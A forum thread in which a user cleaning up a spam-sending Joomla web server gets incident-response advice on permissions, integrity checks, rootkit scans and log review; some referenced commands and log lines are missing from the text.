apache being used for spamming
 

First of all i have to explain that this is not my server. Im just trying to fix a setup I didnt installed of configured, I just have access to it via ssh, so, my info perhaps is incomplete or inacurate.
The problem is that this particular server is being used for sending spam using apache scripts. MTA is qmail and seems to be properly configured to forbid open relay. The distro used is Fedora 6, and it seems to be mostly a web server, it hosts serveral sites (with apache 2.2.3) built with Joomla 1.0.15.
Here is the mail from technical support explaining the problem:

To prevent further spam I modified the sendmail_path in php.ini. So, php cant send anymore mails. But Im aware that this is not the optimal solution. Can somebody suggest me the correct way to deal with this problem? Also, how can I search all the files with permissiones set to 777 to correct them?

To find files w/ 777 permissions:

As for the PHP sending mails... it could be any number of scripts doing the mailing. If they are well made scripts (which they very likely aren't) they use some central type of class to do the mailing (I use phpmailer). If you find this class, it makes searching the php scripts easier. You could also modify it to take some type of validation paramter, and have any legit mailing routine pass that parameter, and in effect nullify any spam script. They still might eat up CPU though.

On the flip side, each script could also do all the "mailing" itself, which could make the hunt a lot nastier.

Still hunting the conflictive scripts. But 777 files and directories are thousands. Is there any way to recursively run chmod to fix the files and directories at the same time without messing the x permission for directories?

You could do a:Replace XXX with the perms you want to assign, and remove "-type f" if you don't only want to chmod files.

Make sure you BACKUP everything before doing anything.

...in addition to what's been said already, and before you go off hunting for file permissions it would be good to create an overview of things to do.


It is good that you are taking responsability for correcting mistakes. This not being your server doesn't require any apologies, in fact it can be an advantage because you can look at things more objectively. You should choose to make an effort in being as complete as possible, because more than chmodding is needed and you should perform tasks in as short a timeframe as possible. In perparation make sure you
- have the right tools at your disposal and
- keep a clear eye on the goals.
You should choose to
- keep a checklist and log of tasks you perform,
- locate and make backs whenever necessary and
- have an overview of things to mitigate and problems to correct and a plan to work with.
Also please list what tasks you have performed already when you reply. This enables us to help you better.
* Since this is a commercial hosting platform you have to make clear to yourself that while you perform those tasks you can not serve two masters because as long as the current situation is allowed to exist the machine remains susceptible to abuse.

* Use 'screen' to enable yourself to run multiple tasks in different virtual terminal windows (and do enable logging with CTRL-A, H).
The first things to do would be to make sure the foundation you work on is trustworthy and mitigate:
0. verify the system state ('rpm -Vva 2>&1| tee /root/rpmva.log') and review the log,
1. do not log in as root but have a suitable unprivileged account to SSH into and use public key authentication,
2. make sure you can use sudo to perform the necessary system maintenance, then
3. (enumerate and) ensure that only authorized users have access to the system itself (passwd, group, shadow, last, lastb, lastlog, w, who or run GNU Tiger or Lsat),
4. mitigate the situation by disallowing any clients to access the host as unauthorized or unauthorized user (vipw),
5. mitigate the situation by denying access to publicly accessable services (/etc/hosts.{allow,deny}, firewall),
6. check the last two tasks actually result in denied access (ps, lsof, iptables, netstat, last, lastb, lastlog, w, who).

Procede by taking stock of the situation and investigating:
- review the /etc/syslog.conf for logging options, then review syslog and any daemon-specific logs (visual inspection, logwatch, mailbox),
- enumerate (publicly accessable) services and who has access to those,
- review any user homes contents,
- from running 'rpm -Vva',
- install and run GNU Tiger, chkrootkit and rootkit hunter and review the logs (general system health, not rootkits),
- unpack the textfile from the joomla-file-diagnostics_1.0.15.zip and use those hashes to verify files,
- review the 8 hosts your technical support marked as having suspicious files.

When this is complete you should restore default system file permissions using 'rpm --set-perms' and chmod back any Docroot or UserDir dirs and files.

Please be as complete and verbose in your answers as possible and if anything is unclear please ask before acting.
And please do check back often as so this situation doesn't drag on for days.

* Anyone please correct me if I forgot to address anything in this assessment phase.

Ok, the attack seems to stop, or at least the last spam I see in the qmail queue are from Jul 22 around 13-14 hours. I have checked carefully the apache logs looking for suspicious activity during that time and seems that right at that time apache didnt served any files. Any idea about what other log file could help?

That is nice but what does it really mean in terms of "plugging the hole"?


Maybe looking through logrotated or archived logs you may reveal more.


Depending on what's running, when and how logs get rotated and where your applications write to, how about the result of 'lsof -P -w -n +D/var | awk '/[0-9].*w / {print $NF}'|sort -u'?

BTW you haven't addressed about anything in the last two replies. Is there anything you didn't get? Do you think it's overkill? Do you have reading problems? ;-p

I followed some of your advices, some others were not needed (tech support installed and executed rootkit detection tools) and other were already implemented. So, your reply was useful and the only persisting problem is that we cant find what files were used to send the mails (and so, probably I wont get paid for 2 days of looking at log files and going home at 9 PM when the rest of the city is enjoying the carnivals). The tech support refers to some "disabled scripts", but they dont specify, so I dont know what do they mean by disable.
By the way, there are some weird lines in the apache logs, can somebody explain me why do they refer to external urls?

This is another couple of lines that annoy me:

Ah, I see. Well good luck with that then.


Looks like (a failed attempt to) remote file inclusion to me.